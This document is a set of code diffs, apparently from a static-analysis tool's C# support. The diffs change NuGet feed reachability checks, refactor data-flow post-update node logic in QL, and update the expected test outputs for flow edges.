HashSet<string> feedsToCheck = explicitFeeds;
|
||||
|
||||
// If private package registries are configured for C#, then check those
|
||||
// in addition to the ones that are configured in `nuget.config` files.
|
||||
this.dependabotProxy?.RegistryURLs.ForEach(url => feedsToCheck.Add(url));
|
||||
|
||||
var allFeedsReachable = this.CheckSpecifiedFeeds(feedsToCheck);
|
||||
|
||||
var inheritedFeeds = allFeeds.Except(explicitFeeds).ToHashSet();
|
||||
if (inheritedFeeds.Count > 0)
|
||||
{
|
||||
logger.LogInfo($"Inherited Nuget feeds (not checked for reachability): {string.Join(", ", inheritedFeeds.OrderBy(f => f))}");
|
||||
compilationInfoContainer.CompilationInfos.Add(("Inherited Nuget feed count", inheritedFeeds.Count.ToString()));
|
||||
}
|
||||
|
||||
return allFeedsReachable;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks that we can connect to the specified Nuget feeds.
|
||||
/// </summary>
|
||||
/// <param name="feeds">The set of package feeds to check.</param>
|
||||
/// <returns>True if all feeds are reachable or false otherwise.</returns>
|
||||
private bool CheckSpecifiedFeeds(HashSet<string> feeds)
|
||||
{
|
||||
logger.LogInfo("Checking that Nuget feeds are reachable...");
|
||||
|
||||
var excludedFeeds = EnvironmentVariables.GetURLs(EnvironmentVariableNames.ExcludedNugetFeedsFromResponsivenessCheck)
|
||||
.ToHashSet();
|
||||
@@ -695,7 +753,7 @@ namespace Semmle.Extraction.CSharp.DependencyFetching
|
||||
|
||||
var (initialTimeout, tryCount) = GetFeedRequestSettings(isFallback: false);
|
||||
|
||||
var allFeedsReachable = explicitFeeds.All(feed => excludedFeeds.Contains(feed) || IsFeedReachable(feed, initialTimeout, tryCount));
|
||||
var allFeedsReachable = feeds.All(feed => excludedFeeds.Contains(feed) || IsFeedReachable(feed, initialTimeout, tryCount));
|
||||
if (!allFeedsReachable)
|
||||
{
|
||||
logger.LogWarning("Found unreachable Nuget feed in C# analysis with build-mode 'none'. This may cause missing dependencies in the analysis.");
|
||||
@@ -710,14 +768,6 @@ namespace Semmle.Extraction.CSharp.DependencyFetching
|
||||
}
|
||||
compilationInfoContainer.CompilationInfos.Add(("All Nuget feeds reachable", allFeedsReachable ? "1" : "0"));
|
||||
|
||||
|
||||
var inheritedFeeds = allFeeds.Except(explicitFeeds).ToHashSet();
|
||||
if (inheritedFeeds.Count > 0)
|
||||
{
|
||||
logger.LogInfo($"Inherited Nuget feeds (not checked for reachability): {string.Join(", ", inheritedFeeds.OrderBy(f => f))}");
|
||||
compilationInfoContainer.CompilationInfos.Add(("Inherited Nuget feed count", inheritedFeeds.Count.ToString()));
|
||||
}
|
||||
|
||||
return allFeedsReachable;
|
||||
}
|
||||
|
||||
@@ -766,23 +816,33 @@ namespace Semmle.Extraction.CSharp.DependencyFetching
|
||||
}
|
||||
|
||||
// todo: this could be improved.
|
||||
// We don't have to get the feeds from each of the folders from below, it would be enought to check the folders that recursively contain the others.
|
||||
var allFeeds = nugetConfigs
|
||||
.Select(config =>
|
||||
{
|
||||
try
|
||||
HashSet<string>? allFeeds = null;
|
||||
|
||||
if (nugetConfigs.Count > 0)
|
||||
{
|
||||
// We don't have to get the feeds from each of the folders from below, it would be enought to check the folders that recursively contain the others.
|
||||
allFeeds = nugetConfigs
|
||||
.Select(config =>
|
||||
{
|
||||
return new FileInfo(config).Directory?.FullName;
|
||||
}
|
||||
catch (Exception exc)
|
||||
{
|
||||
logger.LogWarning($"Failed to get directory of '{config}': {exc}");
|
||||
}
|
||||
return null;
|
||||
})
|
||||
.Where(folder => folder != null)
|
||||
.SelectMany(folder => GetFeeds(() => dotnet.GetNugetFeedsFromFolder(folder!)))
|
||||
.ToHashSet();
|
||||
try
|
||||
{
|
||||
return new FileInfo(config).Directory?.FullName;
|
||||
}
|
||||
catch (Exception exc)
|
||||
{
|
||||
logger.LogWarning($"Failed to get directory of '{config}': {exc}");
|
||||
}
|
||||
return null;
|
||||
})
|
||||
.Where(folder => folder != null)
|
||||
.SelectMany(folder => GetFeeds(() => dotnet.GetNugetFeedsFromFolder(folder!)))
|
||||
.ToHashSet();
|
||||
}
|
||||
else
|
||||
{
|
||||
// If we haven't found any `nuget.config` files, then obtain a list of feeds from the root source directory.
|
||||
allFeeds = GetFeeds(() => dotnet.GetNugetFeedsFromFolder(this.fileProvider.SourceDir.FullName)).ToHashSet();
|
||||
}
|
||||
|
||||
logger.LogInfo($"Found {allFeeds.Count} Nuget feeds (with inherited ones) in nuget.config files: {string.Join(", ", allFeeds.OrderBy(f => f))}");
|
||||
|
||||
|
||||
@@ -123,7 +123,7 @@ namespace Semmle.Extraction.Tests
|
||||
var dotnet = MakeDotnet(dotnetCliInvoker);
|
||||
|
||||
// Execute
|
||||
var res = dotnet.Restore(new("myproject.csproj", "mypackages", false, "myconfig.config"));
|
||||
var res = dotnet.Restore(new("myproject.csproj", "mypackages", false, null, "myconfig.config"));
|
||||
|
||||
// Verify
|
||||
var lastArgs = dotnetCliInvoker.GetLastArgs();
|
||||
@@ -141,7 +141,7 @@ namespace Semmle.Extraction.Tests
|
||||
var dotnet = MakeDotnet(dotnetCliInvoker);
|
||||
|
||||
// Execute
|
||||
var res = dotnet.Restore(new("myproject.csproj", "mypackages", false, "myconfig.config", true));
|
||||
var res = dotnet.Restore(new("myproject.csproj", "mypackages", false, null, "myconfig.config", true));
|
||||
|
||||
// Verify
|
||||
var lastArgs = dotnetCliInvoker.GetLastArgs();
|
||||
|
||||
@@ -34,30 +34,18 @@ private module Input implements InputSig<Location, CsharpDataFlow> {
|
||||
n instanceof FlowSummaryNode
|
||||
or
|
||||
n.asExpr().(ObjectCreation).hasInitializer()
|
||||
or
|
||||
exists(
|
||||
n.(PostUpdateNode).getPreUpdateNode().asExprAtNode(LocalFlow::getPostUpdateReverseStep(_))
|
||||
)
|
||||
}
|
||||
|
||||
predicate argHasPostUpdateExclude(ArgumentNode n) {
|
||||
n instanceof FlowSummaryNode
|
||||
or
|
||||
not exists(LocalFlow::getAPostUpdateNodeForArg(n.getControlFlowNode()))
|
||||
or
|
||||
n instanceof ParamsArgumentNode
|
||||
}
|
||||
|
||||
predicate postHasUniquePreExclude(PostUpdateNode n) {
|
||||
exists(ControlFlow::Nodes::ExprNode e, ControlFlow::Nodes::ExprNode arg |
|
||||
e = LocalFlow::getAPostUpdateNodeForArg(arg) and
|
||||
e != arg and
|
||||
n = TExprPostUpdateNode(e)
|
||||
)
|
||||
}
|
||||
|
||||
predicate uniquePostUpdateExclude(Node n) {
|
||||
exists(ControlFlow::Nodes::ExprNode e, ControlFlow::Nodes::ExprNode arg |
|
||||
e = LocalFlow::getAPostUpdateNodeForArg(arg) and
|
||||
e != arg and
|
||||
n.asExpr() = arg.getExpr()
|
||||
)
|
||||
or
|
||||
n.asExpr() = any(Expr e | not exprMayHavePostUpdateNode(e))
|
||||
}
|
||||
|
||||
predicate reverseReadExclude(Node n) { n.asExpr() = any(AwaitExpr ae).getExpr() }
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
| All Nuget feeds reachable | 1.0 |
|
||||
| Failed project restore with package source error | 0.0 |
|
||||
| Failed solution restore with package source error | 0.0 |
|
||||
| Inherited Nuget feed count | 1.0 |
|
||||
| NuGet feed responsiveness checked | 1.0 |
|
||||
| Project files on filesystem | 1.0 |
|
||||
| Reachable fallback Nuget feed count | 1.0 |
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
| All Nuget feeds reachable | 1.0 |
|
||||
| Failed project restore with package source error | 0.0 |
|
||||
| Failed solution restore with package source error | 0.0 |
|
||||
| Inherited Nuget feed count | 1.0 |
|
||||
| NuGet feed responsiveness checked | 1.0 |
|
||||
| Project files on filesystem | 1.0 |
|
||||
| Reachable fallback Nuget feed count | 1.0 |
|
||||
|
||||
@@ -691,19 +691,22 @@ module LocalFlow {
|
||||
)
|
||||
}
|
||||
|
||||
/** Gets a node for which to construct a post-update node for argument `arg`. */
|
||||
ControlFlow::Nodes::ExprNode getAPostUpdateNodeForArg(ControlFlow::Nodes::ExprNode arg) {
|
||||
arg.getExpr() instanceof Argument and
|
||||
result = getALastEvalNode*(arg) and
|
||||
exists(Expr e, Type t | result.getExpr() = e and t = e.stripCasts().getType() |
|
||||
t instanceof RefType and
|
||||
not t instanceof NullType
|
||||
or
|
||||
t = any(TypeParameter tp | not tp.isValueType())
|
||||
or
|
||||
t.isRefLikeType()
|
||||
) and
|
||||
not exists(getALastEvalNode(result))
|
||||
/**
|
||||
* Holds if a reverse local flow step should be added from the post-update node
|
||||
* for `e` to the post-update node for the result.
|
||||
*
|
||||
* This is needed to allow for side-effects on compound expressions to propagate
|
||||
* to sub components. For example, in
|
||||
*
|
||||
* ```csharp
|
||||
* m(b ? x : y)
|
||||
* ```
|
||||
*
|
||||
* we add a reverse flow step from `[post] b ? x : y` to `[post] x` and to
|
||||
* `[post] y`, in order for the side-effect of `m` to reach both `x` and `y`.
|
||||
*/
|
||||
ControlFlow::Nodes::ExprNode getPostUpdateReverseStep(ControlFlow::Nodes::ExprNode e) {
|
||||
result = getALastEvalNode(e)
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -763,6 +766,13 @@ predicate simpleLocalFlowStep(Node nodeFrom, Node nodeTo, string model) {
|
||||
VariableCapture::valueStep(nodeFrom, nodeTo)
|
||||
or
|
||||
nodeTo = nodeFrom.(LocalFunctionCreationNode).getAnAccess(true)
|
||||
or
|
||||
nodeTo.(PostUpdateNode).getPreUpdateNode().(ExprNode).getControlFlowNode() =
|
||||
LocalFlow::getPostUpdateReverseStep(nodeFrom
|
||||
.(PostUpdateNode)
|
||||
.getPreUpdateNode()
|
||||
.(ExprNode)
|
||||
.getControlFlowNode())
|
||||
) and
|
||||
model = ""
|
||||
or
|
||||
@@ -1061,6 +1071,20 @@ private class FieldOrPropertyUsedInSource extends FieldOrProperty {
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Hold if `e` has a type that allows for it to have a post-update node.
|
||||
*/
|
||||
predicate exprMayHavePostUpdateNode(Expr e) {
|
||||
exists(Type t | t = e.stripCasts().getType() |
|
||||
t instanceof RefType and
|
||||
not t instanceof NullType
|
||||
or
|
||||
t = any(TypeParameter tp | not tp.isValueType())
|
||||
or
|
||||
t.isRefLikeType()
|
||||
)
|
||||
}
|
||||
|
||||
/** A collection of cached types and predicates to be evaluated in the same stage. */
|
||||
cached
|
||||
private module Cached {
|
||||
@@ -1106,7 +1130,15 @@ private module Cached {
|
||||
cfn.getAstNode().(ObjectCreation).hasInitializer()
|
||||
} or
|
||||
TExprPostUpdateNode(ControlFlow::Nodes::ExprNode cfn) {
|
||||
cfn = LocalFlow::getAPostUpdateNodeForArg(_)
|
||||
(
|
||||
cfn.getExpr() instanceof Argument
|
||||
or
|
||||
cfn =
|
||||
LocalFlow::getPostUpdateReverseStep(any(ControlFlow::Nodes::ExprNode e |
|
||||
exists(any(SourcePostUpdateNode p).getPreUpdateNode().asExprAtNode(e))
|
||||
))
|
||||
) and
|
||||
exprMayHavePostUpdateNode(cfn.getExpr())
|
||||
or
|
||||
exists(Expr e | e = cfn.getExpr() |
|
||||
fieldOrPropertyStore(_, _, _, e, true)
|
||||
@@ -2722,17 +2754,23 @@ abstract class PostUpdateNode extends Node {
|
||||
}
|
||||
|
||||
module PostUpdateNodes {
|
||||
class ObjectCreationNode extends PostUpdateNode, ExprNode, TExprNode {
|
||||
abstract class SourcePostUpdateNode extends PostUpdateNode {
|
||||
abstract Node getPreUpdateSourceNode();
|
||||
|
||||
final override Node getPreUpdateNode() { result = this.getPreUpdateSourceNode() }
|
||||
}
|
||||
|
||||
class ObjectCreationNode extends SourcePostUpdateNode, ExprNode, TExprNode {
|
||||
private ObjectCreation oc;
|
||||
|
||||
ObjectCreationNode() { this = TExprNode(oc.getAControlFlowNode()) }
|
||||
|
||||
override Node getPreUpdateNode() {
|
||||
override Node getPreUpdateSourceNode() {
|
||||
exists(ControlFlow::Nodes::ElementNode cfn | this = TExprNode(cfn) |
|
||||
result.(ObjectInitializerNode).getControlFlowNode() = cfn
|
||||
result = TObjectInitializerNode(cfn)
|
||||
or
|
||||
not oc.hasInitializer() and
|
||||
result.(MallocNode).getControlFlowNode() = cfn
|
||||
result = TMallocNode(cfn)
|
||||
)
|
||||
}
|
||||
}
|
||||
@@ -2744,7 +2782,7 @@ module PostUpdateNodes {
|
||||
* Such a node acts as both a post-update node for the `MallocNode`, as well as
|
||||
* a pre-update node for the `ObjectCreationNode`.
|
||||
*/
|
||||
class ObjectInitializerNode extends PostUpdateNode, NodeImpl, ArgumentNodeImpl,
|
||||
class ObjectInitializerNode extends SourcePostUpdateNode, NodeImpl, ArgumentNodeImpl,
|
||||
TObjectInitializerNode
|
||||
{
|
||||
private ObjectCreation oc;
|
||||
@@ -2758,7 +2796,7 @@ module PostUpdateNodes {
|
||||
/** Gets the initializer to which this initializer node belongs. */
|
||||
ObjectOrCollectionInitializer getInitializer() { result = oc.getInitializer() }
|
||||
|
||||
override MallocNode getPreUpdateNode() { result.getControlFlowNode() = cfn }
|
||||
override MallocNode getPreUpdateSourceNode() { result = TMallocNode(cfn) }
|
||||
|
||||
override predicate argumentOf(DataFlowCall call, ArgumentPosition pos) {
|
||||
pos.isQualifier() and
|
||||
@@ -2781,23 +2819,12 @@ module PostUpdateNodes {
|
||||
override string toStringImpl() { result = "[pre-initializer] " + cfn }
|
||||
}
|
||||
|
||||
class ExprPostUpdateNode extends PostUpdateNode, NodeImpl, TExprPostUpdateNode {
|
||||
class ExprPostUpdateNode extends SourcePostUpdateNode, NodeImpl, TExprPostUpdateNode {
|
||||
private ControlFlow::Nodes::ElementNode cfn;
|
||||
|
||||
ExprPostUpdateNode() { this = TExprPostUpdateNode(cfn) }
|
||||
|
||||
override ExprNode getPreUpdateNode() {
|
||||
// For compound arguments, such as `m(b ? x : y)`, we want the leaf nodes
|
||||
// `[post] x` and `[post] y` to have two pre-update nodes: (1) the compound argument,
|
||||
// `if b then x else y`; and the (2) the underlying expressions; `x` and `y`,
|
||||
// respectively.
|
||||
//
|
||||
// This ensures that we get flow out of the call into both leafs (1), while still
|
||||
// maintaining the invariant that the underlying expression is a pre-update node (2).
|
||||
cfn = LocalFlow::getAPostUpdateNodeForArg(result.getControlFlowNode())
|
||||
or
|
||||
cfn = result.getControlFlowNode()
|
||||
}
|
||||
override ExprNode getPreUpdateSourceNode() { result = TExprNode(cfn) }
|
||||
|
||||
override DataFlowCallable getEnclosingCallableImpl() {
|
||||
result.getAControlFlowNode() = cfn
|
||||
@@ -2825,41 +2852,41 @@ module PostUpdateNodes {
|
||||
override Node getPreUpdateNode() { result.(FlowSummaryNode).getSummaryNode() = preUpdateNode }
|
||||
}
|
||||
|
||||
private class InstanceParameterAccessPostUpdateNode extends PostUpdateNode,
|
||||
private class InstanceParameterAccessPostUpdateNode extends SourcePostUpdateNode,
|
||||
InstanceParameterAccessNode
|
||||
{
|
||||
InstanceParameterAccessPostUpdateNode() { isPostUpdate = true }
|
||||
|
||||
override InstanceParameterAccessPreNode getPreUpdateNode() {
|
||||
override InstanceParameterAccessPreNode getPreUpdateSourceNode() {
|
||||
result = TInstanceParameterAccessNode(cfn, false)
|
||||
}
|
||||
|
||||
override string toStringImpl() { result = "[post] this" }
|
||||
}
|
||||
|
||||
private class PrimaryConstructorThisAccessPostUpdateNode extends PostUpdateNode,
|
||||
private class PrimaryConstructorThisAccessPostUpdateNode extends SourcePostUpdateNode,
|
||||
PrimaryConstructorThisAccessNode
|
||||
{
|
||||
PrimaryConstructorThisAccessPostUpdateNode() { isPostUpdate = true }
|
||||
|
||||
override PrimaryConstructorThisAccessPreNode getPreUpdateNode() {
|
||||
override PrimaryConstructorThisAccessPreNode getPreUpdateSourceNode() {
|
||||
result = TPrimaryConstructorThisAccessNode(p, false, callable)
|
||||
}
|
||||
|
||||
override string toStringImpl() { result = "[post] this" }
|
||||
}
|
||||
|
||||
class LocalFunctionCreationPostUpdateNode extends LocalFunctionCreationNode, PostUpdateNode {
|
||||
class LocalFunctionCreationPostUpdateNode extends LocalFunctionCreationNode, SourcePostUpdateNode {
|
||||
LocalFunctionCreationPostUpdateNode() { isPostUpdate = true }
|
||||
|
||||
override LocalFunctionCreationPreNode getPreUpdateNode() {
|
||||
override LocalFunctionCreationPreNode getPreUpdateSourceNode() {
|
||||
result = TLocalFunctionCreationNode(cfn, false)
|
||||
}
|
||||
|
||||
override string toStringImpl() { result = "[post] " + cfn }
|
||||
}
|
||||
|
||||
private class CapturePostUpdateNode extends PostUpdateNode, CaptureNode {
|
||||
private class CapturePostUpdateNode extends SourcePostUpdateNode, CaptureNode {
|
||||
private CaptureNode pre;
|
||||
|
||||
CapturePostUpdateNode() {
|
||||
@@ -2867,7 +2894,7 @@ module PostUpdateNodes {
|
||||
pre.getSynthesizedCaptureNode())
|
||||
}
|
||||
|
||||
override CaptureNode getPreUpdateNode() { result = pre }
|
||||
override CaptureNode getPreUpdateSourceNode() { result = pre }
|
||||
|
||||
override string toStringImpl() { result = "[post] " + cn }
|
||||
}
|
||||
|
||||
@@ -1062,7 +1062,7 @@ private module DataFlowIntegrationInput implements Impl::DataFlowIntegrationInpu
|
||||
}
|
||||
|
||||
/** Holds if the guard `guard` controls block `bb` upon evaluating to `branch`. */
|
||||
predicate guardControlsBlock(Guard guard, ControlFlow::BasicBlock bb, boolean branch) {
|
||||
predicate guardDirectlyControlsBlock(Guard guard, ControlFlow::BasicBlock bb, boolean branch) {
|
||||
exists(ConditionBlock conditionBlock, ControlFlow::SuccessorTypes::ConditionalSuccessor s |
|
||||
guard.getAControlFlowNode() = conditionBlock.getLastNode() and
|
||||
s.getValue() = branch and
|
||||
|
||||
@@ -233,6 +233,10 @@ module ModelGeneratorInput implements ModelGeneratorInputSig<Location, CsharpDat
|
||||
result = ParamReturnNodeAsOutput<parameterContentAccess/1>::paramReturnNodeAsOutput(c, pos)
|
||||
}
|
||||
|
||||
ParameterPosition getReturnKindParamPosition(ReturnKind kind) {
|
||||
kind.(OutRefReturnKind).getPosition() = result.getPosition()
|
||||
}
|
||||
|
||||
Callable returnNodeEnclosingCallable(DataFlow::Node ret) {
|
||||
result = DataFlowImplCommon::getNodeEnclosingCallable(ret).asCallable(_)
|
||||
}
|
||||
|
||||
@@ -252,7 +252,7 @@
|
||||
| CSharp7.cs:233:28:233:29 | access to local variable i1 | CSharp7.cs:235:38:235:39 | access to local variable i1 |
|
||||
| CSharp7.cs:233:28:233:33 | ... > ... | CSharp7.cs:233:13:233:33 | [false] ... && ... |
|
||||
| CSharp7.cs:233:28:233:33 | ... > ... | CSharp7.cs:233:13:233:33 | [true] ... && ... |
|
||||
| CSharp7.cs:235:13:235:42 | [input] SSA phi read(o) | CSharp7.cs:248:9:274:9 | SSA phi read(o) |
|
||||
| CSharp7.cs:235:13:235:42 | [input] SSA phi read(o) | CSharp7.cs:248:17:248:17 | access to local variable o |
|
||||
| CSharp7.cs:235:33:235:36 | "int " | CSharp7.cs:235:31:235:41 | $"..." |
|
||||
| CSharp7.cs:235:38:235:39 | access to local variable i1 | CSharp7.cs:235:31:235:41 | $"..." |
|
||||
| CSharp7.cs:237:18:237:18 | access to local variable o | CSharp7.cs:237:23:237:31 | String s1 |
|
||||
@@ -260,18 +260,17 @@
|
||||
| CSharp7.cs:237:18:237:18 | access to local variable o | CSharp7.cs:241:18:241:18 | access to local variable o |
|
||||
| CSharp7.cs:237:23:237:31 | SSA def(s1) | CSharp7.cs:239:41:239:42 | access to local variable s1 |
|
||||
| CSharp7.cs:237:23:237:31 | String s1 | CSharp7.cs:237:23:237:31 | SSA def(s1) |
|
||||
| CSharp7.cs:239:13:239:45 | [input] SSA phi read(o) | CSharp7.cs:248:9:274:9 | SSA phi read(o) |
|
||||
| CSharp7.cs:239:13:239:45 | [input] SSA phi read(o) | CSharp7.cs:248:17:248:17 | access to local variable o |
|
||||
| CSharp7.cs:239:33:239:39 | "string " | CSharp7.cs:239:31:239:44 | $"..." |
|
||||
| CSharp7.cs:239:41:239:42 | access to local variable s1 | CSharp7.cs:239:31:239:44 | $"..." |
|
||||
| CSharp7.cs:241:18:241:18 | access to local variable o | CSharp7.cs:242:9:243:9 | [input] SSA phi read(o) |
|
||||
| CSharp7.cs:241:18:241:18 | access to local variable o | CSharp7.cs:244:18:244:18 | access to local variable o |
|
||||
| CSharp7.cs:242:9:243:9 | [input] SSA phi read(o) | CSharp7.cs:248:9:274:9 | SSA phi read(o) |
|
||||
| CSharp7.cs:242:9:243:9 | [input] SSA phi read(o) | CSharp7.cs:248:17:248:17 | access to local variable o |
|
||||
| CSharp7.cs:244:18:244:18 | access to local variable o | CSharp7.cs:244:18:244:28 | [input] SSA phi read(o) |
|
||||
| CSharp7.cs:244:18:244:18 | access to local variable o | CSharp7.cs:244:23:244:28 | Object v1 |
|
||||
| CSharp7.cs:244:18:244:18 | access to local variable o | CSharp7.cs:245:9:246:9 | [input] SSA phi read(o) |
|
||||
| CSharp7.cs:244:18:244:28 | [input] SSA phi read(o) | CSharp7.cs:248:9:274:9 | SSA phi read(o) |
|
||||
| CSharp7.cs:245:9:246:9 | [input] SSA phi read(o) | CSharp7.cs:248:9:274:9 | SSA phi read(o) |
|
||||
| CSharp7.cs:248:9:274:9 | SSA phi read(o) | CSharp7.cs:248:17:248:17 | access to local variable o |
|
||||
| CSharp7.cs:244:18:244:28 | [input] SSA phi read(o) | CSharp7.cs:248:17:248:17 | access to local variable o |
|
||||
| CSharp7.cs:245:9:246:9 | [input] SSA phi read(o) | CSharp7.cs:248:17:248:17 | access to local variable o |
|
||||
| CSharp7.cs:248:17:248:17 | access to local variable o | CSharp7.cs:254:27:254:27 | access to local variable o |
|
||||
| CSharp7.cs:248:17:248:17 | access to local variable o | CSharp7.cs:257:18:257:23 | Int32 i2 |
|
||||
| CSharp7.cs:248:17:248:17 | access to local variable o | CSharp7.cs:260:18:260:23 | Int32 i3 |
|
||||
@@ -312,10 +311,8 @@
|
||||
| CSharp7.cs:285:39:285:42 | access to local variable list | CSharp7.cs:287:36:287:39 | access to local variable list |
|
||||
| CSharp7.cs:287:36:287:39 | access to local variable list | CSharp7.cs:289:32:289:35 | access to local variable list |
|
||||
| CSharp7.cs:297:18:297:18 | access to local variable x | CSharp7.cs:297:18:297:22 | SSA def(x) |
|
||||
| CSharp7.cs:297:18:297:22 | SSA def(x) | CSharp7.cs:297:18:297:22 | [input] SSA phi(x) |
|
||||
| CSharp7.cs:297:18:297:22 | [input] SSA phi(x) | CSharp7.cs:297:25:297:25 | SSA phi(x) |
|
||||
| CSharp7.cs:297:18:297:22 | SSA def(x) | CSharp7.cs:297:25:297:25 | access to local variable x |
|
||||
| CSharp7.cs:297:22:297:22 | 0 | CSharp7.cs:297:18:297:18 | access to local variable x |
|
||||
| CSharp7.cs:297:25:297:25 | SSA phi(x) | CSharp7.cs:297:25:297:25 | access to local variable x |
|
||||
| CSharp7.cs:297:25:297:25 | access to local variable x | CSharp7.cs:297:25:297:30 | ... < ... |
|
||||
| CSharp7.cs:297:25:297:25 | access to local variable x | CSharp7.cs:297:35:297:35 | access to local variable x |
|
||||
| CSharp7.cs:297:25:297:30 | ... < ... | CSharp7.cs:297:25:297:44 | [false] ... && ... |
|
||||
@@ -326,6 +323,5 @@
|
||||
| CSharp7.cs:297:35:297:44 | [true] ... is ... | CSharp7.cs:297:25:297:44 | [true] ... && ... |
|
||||
| CSharp7.cs:297:40:297:44 | Int32 y | CSharp7.cs:297:40:297:44 | SSA def(y) |
|
||||
| CSharp7.cs:297:40:297:44 | SSA def(y) | CSharp7.cs:299:31:299:31 | access to local variable y |
|
||||
| CSharp7.cs:297:47:297:49 | SSA def(x) | CSharp7.cs:297:47:297:49 | [input] SSA phi(x) |
|
||||
| CSharp7.cs:297:47:297:49 | [input] SSA phi(x) | CSharp7.cs:297:25:297:25 | SSA phi(x) |
|
||||
| CSharp7.cs:297:47:297:49 | SSA def(x) | CSharp7.cs:297:25:297:25 | access to local variable x |
|
||||
| CSharp7.cs:297:49:297:49 | access to local variable x | CSharp7.cs:297:47:297:49 | SSA def(x) |
|
||||
|
||||
@@ -421,46 +421,40 @@ edges
|
||||
| GlobalDataFlow.cs:469:21:469:21 | s : String | GlobalDataFlow.cs:469:32:469:32 | access to parameter s | provenance | |
|
||||
| GlobalDataFlow.cs:470:15:470:17 | access to parameter arg : String | GlobalDataFlow.cs:469:21:469:21 | s : String | provenance | |
|
||||
| GlobalDataFlow.cs:473:28:473:41 | "taint source" : String | GlobalDataFlow.cs:466:53:466:55 | arg : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:490:25:490:26 | [post] access to local variable x1 : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:490:30:490:31 | [post] access to local variable x2 : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:497:31:497:32 | [post] access to local variable y1 : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:497:36:497:37 | [post] access to local variable y2 : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:497:42:497:43 | [post] access to local variable y3 : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:508:33:508:33 | [post] access to local variable x : SubSimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:515:20:515:20 | [post] access to parameter x : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:515:25:515:25 | [post] access to local variable y : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:527:20:527:20 | [post] access to local variable x : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:528:20:528:20 | [post] access to local variable y : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:529:18:529:18 | [post] access to local variable z : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:538:20:538:21 | [post] access to parameter sc : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:546:24:546:24 | [post] access to local variable x : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:490:20:490:31 | [post] ... ? ... : ... : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:508:20:508:33 | [post] (...) ... : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:515:20:515:25 | [post] ... ?? ... : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:538:20:538:22 | [post] ...! : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:546:20:546:24 | [post] ... = ... : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:483:9:483:10 | [post] access to parameter sc : SimpleClass [field field] : String | GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:483:20:483:33 | "taint source" : String | GlobalDataFlow.cs:483:9:483:10 | [post] access to parameter sc : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:490:25:490:26 | [post] access to local variable x1 : SimpleClass [field field] : String | GlobalDataFlow.cs:491:15:491:16 | access to local variable x1 : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:490:30:490:31 | [post] access to local variable x2 : SimpleClass [field field] : String | GlobalDataFlow.cs:492:15:492:16 | access to local variable x2 : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:490:20:490:31 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:491:15:491:16 | access to local variable x1 : SimpleClass [field field] : String | provenance | |
|
||||
| GlobalDataFlow.cs:490:20:490:31 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:492:15:492:16 | access to local variable x2 : SimpleClass [field field] : String | provenance | |
|
||||
